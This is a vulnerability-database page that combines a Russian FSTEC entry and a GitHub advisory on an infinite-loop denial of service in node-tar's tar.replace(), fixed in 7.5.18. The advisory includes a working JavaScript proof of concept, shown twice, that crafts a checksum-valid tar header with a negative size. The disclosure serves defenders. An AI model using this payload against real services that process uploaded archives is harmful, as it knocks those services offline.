Vulnerability-Lookup

BDU:2026-09562

Vulnerability from fstec - Published: 28.06.2026

Title

Уязвимость функции tar.replace() библиотеки node-tar программной платформы Node.js, позволяющая нарушителю вызвать отказ в обслуживании

Description

Уязвимость функции tar.replace() библиотеки node-tar программной платформы Node.js связана с неограниченным распределением ресурсов. Эксплуатация узвимости может позволить нарушителю, действующему удаленно, вызвать отказ в обслуживании

Severity


                    
                      AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H


                    
                      AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Vendor

Node.js Foundation

Software Name

node-tar

Software Version

до 7.5.18 (node-tar)

Possible Mitigations

Использование рекомендаций производителя: обновление до версии 7.5.18: https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5 https://github.com/isaacs/node-tar/releases/tag/v7.5.18

Reference

https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5 https://github.com/isaacs/node-tar/releases/tag/v7.5.18 https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w

CWE

CWE-835

JSON

To clipboard

{
  "CVSS 2.0": "AV:N/AC:L/Au:N/C:N/I:N/A:C",
  "CVSS 3.0": "AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
  "CVSS 4.0": "AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
  "remediation_\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": null,
  "remediation_\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435": null,
  "\u0412\u0435\u043d\u0434\u043e\u0440 \u041f\u041e": "Node.js Foundation",
  "\u0412\u0435\u0440\u0441\u0438\u044f \u041f\u041e": "\u0434\u043e 7.5.18 (node-tar)",
  "\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e": "\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\n\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.5.18:\nhttps://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5\nhttps://github.com/isaacs/node-tar/releases/tag/v7.5.18",
  "\u0414\u0430\u0442\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f": "28.06.2026",
  "\u0414\u0430\u0442\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f": "13.07.2026",
  "\u0414\u0430\u0442\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438": "13.07.2026",
  "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": "BDU:2026-09562",
  "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "CVE-2026-59874, GHSA-8x88-c5mf-7j5w",
  "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430",
  "\u041a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0434\u0430",
  "\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u041f\u041e": "node-tar",
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u041e\u0421 \u0438 \u0442\u0438\u043f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b": null,
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 tar.replace() \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 node-tar \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Node.js, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438",
  "\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430": "\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "\u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0446\u0438\u043a\u043b\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c \u0432\u044b\u0445\u043e\u0434\u0430 (\u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0446\u0438\u043a\u043b) (CWE-835)",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 tar.replace() \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 node-tar \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Node.js \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438",
  "\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438",
  "\u041f\u0440\u043e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f": null,
  "\u0421\u0432\u044f\u0437\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438 \u0418\u0411": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
  "\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f": "\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438": "\u0418\u0441\u0447\u0435\u0440\u043f\u0430\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432",
  "\u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5\nhttps://github.com/isaacs/node-tar/releases/tag/v7.5.18\nhttps://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w",
  "\u0421\u0442\u0430\u0442\u0443\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c",
  "\u0422\u0438\u043f \u041f\u041e": "\u041f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u043e\u0435 \u041f\u041e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c",
  "\u0422\u0438\u043f \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "CWE-835",
  "\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 2.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,8)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 3.1 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,5)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 4.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 8,7)"
}

GHSA-8X88-C5MF-7J5W

Vulnerability from github – Published: 2026-07-20 21:51 – Updated: 2026-07-20 21:51

Summary

node-tar: Negative tar entry size causes infinite loop in archive replace

Details

Summary

A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.

Details

The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.

For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.

This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.

PoC

Save as poc.mjs in a project with the vulnerable package installed and run:

node poc.mjs

import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)
  oct(h, 0o644, 100, 8)
  oct(h, 0, 108, 8)
  oct(h, 0, 116, 8)

  // base-256 encoded -512 in the size field
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)
  h.fill(0x20, 148, 156)
  h[156] = 0x30
  h.write('ustar\0' + '00', 257, 8, 'binary')

  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

console.log(r.error?.code === 'ETIMEDOUT')

// Output: true

Impact

An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.17"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59874"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:51:39Z",
    "nvd_published_at": "2026-07-08T16:16:33Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA checksum-valid tar archive with a negative base-256 encoded entry size can make `tar.replace()` loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.\n\n### Details\n\nThe public `tar.replace()` API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.\n\nTar supports base-256 encoded numeric fields. A crafted header can encode the entry size as `-512` while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.\n\nFor a size of `-512`, the computed body skip is `-512`. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.\n\nThis is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.\n\n### PoC\n\nSave as `poc.mjs` in a project with the vulnerable package installed and run:\n\n```bash\nnode poc.mjs\n```\n\n```js\nimport fs from \u0027node:fs\u0027\nimport os from \u0027node:os\u0027\nimport path from \u0027node:path\u0027\nimport { spawnSync } from \u0027node:child_process\u0027\n\nconst oct = (b, n, off, len) =\u003e\n  b.write(n.toString(8).padStart(len - 1, \u00270\u0027) + \u0027\\0\u0027, off, len, \u0027ascii\u0027)\n\nconst badHeader = () =\u003e {\n  const h = Buffer.alloc(512)\n\n  h.write(\u0027x\u0027, 0)\n  oct(h, 0o644, 100, 8)\n  oct(h, 0, 108, 8)\n  oct(h, 0, 116, 8)\n\n  // base-256 encoded -512 in the size field\n  Buffer.alloc(10, 0xff).copy(h, 124)\n  h[134] = 0xfe\n  h[135] = 0x00\n\n  oct(h, 0, 136, 12)\n  h.fill(0x20, 148, 156)\n  h[156] = 0x30\n  h.write(\u0027ustar\\0\u0027 + \u002700\u0027, 257, 8, \u0027binary\u0027)\n\n  let sum = 0\n  for (const c of h) sum += c\n  h.write(sum.toString(8).padStart(6, \u00270\u0027) + \u0027\\0 \u0027, 148, 8, \u0027ascii\u0027)\n\n  return h\n}\n\nconst dir = fs.mkdtempSync(path.join(os.tmpdir(), \u0027tar-loop-\u0027))\nconst file = path.join(dir, \u0027poc.tar\u0027)\n\nfs.writeFileSync(file, badHeader())\nfs.writeFileSync(path.join(dir, \u0027add.txt\u0027), \u0027x\u0027)\n\nconst r = spawnSync(\n  process.execPath,\n  [\n    \u0027--input-type=module\u0027,\n    \u0027-e\u0027,\n    `\n      import * as tar from \u0027tar\u0027\n      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, [\u0027add.txt\u0027])\n      console.log(\u0027completed\u0027)\n    `,\n  ],\n  { timeout: 20_000 }\n)\n\nconsole.log(r.error?.code === \u0027ETIMEDOUT\u0027)\n\n// Output: true\n```\n\n### Impact\n\nAn application that calls `tar.replace()` on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.",
  "id": "GHSA-8x88-c5mf-7j5w",
  "modified": "2026-07-20T21:51:39Z",
  "published": "2026-07-20T21:51:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59874"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "node-tar: Negative tar entry size causes infinite loop in archive replace"
}

Sightings

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Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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BDU:2026-09562

GHSA-8X88-C5MF-7J5W

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